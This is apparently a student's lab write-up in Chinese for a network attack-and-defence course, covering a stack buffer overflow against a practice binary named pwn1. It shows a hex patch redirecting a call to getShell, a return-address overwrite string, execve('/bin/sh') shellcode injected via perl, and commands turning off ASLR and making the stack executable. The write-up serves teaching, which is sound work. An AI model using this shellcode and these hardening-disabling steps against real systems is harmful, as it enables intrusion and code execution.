20221915 2022-2023-2 《网络攻防实践》实践九报告

20221915 2022-2023-2 《网络攻防实践》实践九报告

1.实践内容

1.1缓冲区溢出
计算机程序一般都会使用到一些内存,这些内存或是程序内部使用,或是存放用户的输入数据,这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了,在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。

1.2 shellcode
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

1.3反汇编(Disassembly)
反汇编(Disassembly)是把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。

1.4常用汇编指令
NOP, JNE, JE, JMP, CMP汇编指令的机器码:
NOP:即"空指令"。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令,机器码:90.
JNE:条件转移指令,如果不相等则跳转,机器码:75。
JE:条件转移指令,如果相等则跳转,机器码:74。
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near,机器码:E9。 段内间接转移 Jmp word,机器码:FF。 段间直接(远)转移Jmp far,机器码:EA。
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.实践过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
首先我们打开我们的kali 并且进入到pwn1存放的路径。
输入cd /home/kali 进入到里面去
在这里插入图片描述
用objdump对pwn1进行反汇编,输入"objdump -d pwn20221915(已经更改过) | more"。找到main函数的地方
在这里插入图片描述
找到函数getshell、foo、main
在这里插入图片描述
发现在main函数中执行到call,EIP会指向0x08048491,就是foo函数的入口地址,此时的偏移量为0xffffffd7
所以我们要修改偏移量,让EIP指向到getshell的入口地址
计算后得出,只要把偏移量修改成0xffffffc3即可。

首先我们用vim打开pwn1,发现都是乱码。
在这里插入图片描述
所以我们要用命令‘ %!xxd ’ 将乱码修改为十六进制。
在这里插入图片描述
找到需要修改的地方

将d7改为c3
在这里插入图片描述
修改完成后使用命令‘%!xxd -r’恢复为乱码,再输入wq保存
在这里插入图片描述
使用该程序,输入ls与whoami 发现已经跳转为getshell函数
在这里插入图片描述
2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
我们发现程序执行后会调用foo函数,而foo函数的功能为对于特定的输入再向屏幕输出这一输入,所以我们可以利用BOF漏洞来使用缓冲区溢出攻击,触发getshell函数,当foo函数执行完毕之后,系统将会调用的下一条指令的地址就是0x080484ba,这个地址就是该函数的返回地址。
输入一段准备好的字符串将返回地址覆盖,使之变成getshell函数的入口地址,即可跳转到getshell函数
采用数据11111111222222223333333344444444\x7d\x84\x04\x08\x0a
在这里插入图片描述
然后输入xxd input

在这里插入图片描述
输入(cat input;cat) |./pwn1将input的输入,通过管道符“|”,作为pwn1的输入,覆盖返回地址。
在这里插入图片描述
2.3注入Shellcode并执行

在安装好execstack的情况下 使用execstack -s pwn20221915 命令设置为堆栈可执行

在这里插入图片描述
使用echo “0” > /proc/sys/kernel/randomize_va_space指令,关闭地址随机化,并通过more /proc/sys/kernel/randomize_va_space指令验证。
在这里插入图片描述
然后我们生成新输入的程序input_shellcode
输入perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_shellcode

在这里插入图片描述
将input_shellcode的命令作为pwn文件的输入,然后运行pwn程序。
输入命令(cat input_shellcode;cat) | ./pwn20221915 .
在这里插入图片描述
打开一个新的终端 查看pwn文件运行的进程好
输入命令 ps -ef | grep pwn20221915 可以看见进程号为2960
在这里插入图片描述
这时我们输入gdb开始调试进程 再输入attach 2960调试进程2960.
然后获取foo函数的汇编地址
输入命令:disassemble foo ,在最后一行获取到它的ret地址为0*080484ae。
在这里插入图片描述
在ret函数的地方设置断点 输入:break *0x080484ae
在这里插入图片描述
继续让程序运行,命令为c,然后再运行pwn1的终端点回车。之后在调试的终端,程序遇到断点会停止运行。
在这里插入图片描述
在这里插入图片描述
然后使用info r esp指令查看栈顶元素,并通过x/16x 0xffffd3dc指令查看xcffffd3dc地址所存放的数据。
在这里插入图片描述
输入指令x/16x 0xffffd3e0(d3dc+4=d3e0)来查看该地址数据,得知其为shellcode内容。

在这里插入图片描述
使用修正后的指令perl -e ‘print “A” x 32;print “\x40\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_shellcode,再次保存为输入程序.再次使用指令(cat input_shellcode;cat) | ./pwn1,在输入ls、whoami等命令,查看到目录信息和用户信息,可得知shellcode注入成功
在这里插入图片描述

3.学习中遇到的问题及解决

问题1:没有安装execstack命令。
问题1解决方案:使用apt-get install execstack安装成功
问题2:没有安装xxd命令
问题2解决方案:使用apt-get install xxd 安装成功

4.实践总结

本次实验综合了很多内容,既学习并实践了BOF漏洞攻击,又复习了堆栈的知识,但小问题还是不少,通过百度以及与同学交流最终完成了本次实践。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值